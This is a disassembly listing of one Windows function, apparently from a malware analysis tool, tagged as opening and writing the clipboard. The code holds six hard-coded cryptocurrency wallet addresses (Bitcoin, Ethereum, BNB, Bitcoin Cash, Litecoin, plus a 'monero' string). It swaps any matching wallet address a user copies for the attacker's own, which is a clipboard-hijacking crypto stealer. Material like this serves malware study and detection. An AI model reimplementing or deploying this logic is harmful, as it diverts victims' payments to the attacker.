Function at 0x140003ad0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140013020]
xor rax, rsp
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov ecx, 0x30
call fcn.14000ca50
mov r14, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], 0x2a
mov qword [rbp - 0x80], 0x2f
movups xmm0, xmmword [str.bc1qre5et563wn6szq2ykshzktt2nkvm3fh4cwe4ra]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e850]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e860]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e868]
mov word [r14 + 0x28], ax
mov byte [r14 + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov ecx, 0x30
call fcn.14000ca50
mov rsi, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x2a
mov qword [rbp - 0x60], 0x2f
movups xmm0, xmmword [str.0xc2c1150e3216Cdc8Ce17e161769208ca66Db414a]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e880]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e890]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e898]
mov word [rsi + 0x28], ax
mov byte [rsi + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 6
mov qword [rsp + 0x60], 0xf
mov r12d, dword [str.monero]
mov dword [rsp + 0x48], r12d
movzx eax, word [0x14000e8a0]
mov word [rsp + 0x20], ax
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x4e], 0
movups xmmword [rbp - 0x58], xmm0
mov ecx, 0x30
call fcn.14000ca50
mov rdi, rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], 0x2a
mov qword [rbp - 0x40], 0x2f
movups xmm0, xmmword [str.bnb18jqmxql5ky3uxp32f4v4jnfyetsd9wzyh0u53m]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e8b8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e8c8]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e8d0]
mov word [rdi + 0x28], ax
mov byte [rdi + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov ecx, 0x30
call fcn.14000ca50
mov rbx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x2a
mov qword [rbp - 0x20], 0x2f
movups xmm0, xmmword [str.qrwdss6muq2lvjql39n6alerjj4lftaqayzvak7gfe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e8e8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e8f8]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e900]
mov word [rbx + 0x28], ax
mov byte [rbx + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov ecx, 0x30
call fcn.14000ca50
mov r13, rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 0x22
mov qword [rbp], 0x2f
movups xmm0, xmmword [str.LcVQBPucuExnhxGPTThmuLGUc6gjsPWnTr]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e918]
movups xmmword [rax + 0x10], xmm1
movzx eax, word [0x14000e928]
mov word [r13 + 0x20], ax
mov byte [r13 + 0x22], 0
lea rcx, [rsp + 0x28]
call fcn.1400039f0
nop
cmp qword [rsp + 0x38], 0
je 0x1400040fd
lea rcx, [rsp + 0x28]
call fcn.1400029d0
test al, al
je 0x140003db9
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003d43
mov rdx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003db9
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x1400040f6
movups xmm0, xmmword [r14]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [r14 + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [r14 + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [r14 + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x1400040df
lea rcx, [rsp + 0x28]
call fcn.140002c80
test al, al
je 0x140003e64
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003df3
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003e64
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x1400040f6
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rsi + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rsi + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rsi + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x1400040df
lea rcx, [rsp + 0x28]
call fcn.140002f30
test al, al
je 0x140003ef7
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 6
jne 0x140003ea0
lea rdx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003ef7
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 7
lea ecx, [rdx - 5]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400040f6
mov dword [rax], r12d
movzx ecx, word [rsp + 0x20]
mov word [rax + 4], cx
mov byte [rax + 6], 0
jmp 0x1400040df
lea rcx, [rsp + 0x28]
call fcn.1400031e0
test al, al
je 0x140003fa2
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003f31
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003fa2
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x1400040f6
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rdi + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rdi + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rdi + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x1400040df
lea rcx, [rsp + 0x28]
call fcn.140003490
test al, al
je 0x14000404d
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003fdc
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000404d
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x1400040f6
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbx + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rbx + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rbx + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x1400040df
lea rcx, [rsp + 0x28]
call fcn.140003740
test al, al
je 0x1400040fd
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x22
jne 0x140004087
mov rdx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400040fd
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400040fd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x23
lea ecx, [rdx - 0x21]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x1400040f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400040f6
movups xmm0, xmmword [r13]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r13 + 0x10]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [r13 + 0x20]
mov word [rax + 0x20], cx
movzx ecx, byte [r13 + 0x22]
mov byte [rax + 0x22], cl
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, r15
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000413d
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004138
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], 0
mov edx, 0x30
mov rcx, r13
call fcn.14000ca8c
nop
mov edx, 0x30
mov rcx, rbx
call fcn.14000ca8c
nop
mov edx, 0x30
mov rcx, rdi
call fcn.14000ca8c
nop
mov edx, 0x30
mov rcx, rsi
call fcn.14000ca8c
nop
mov edx, 0x30
mov rcx, r14
call fcn.14000ca8c
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14000ca30
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret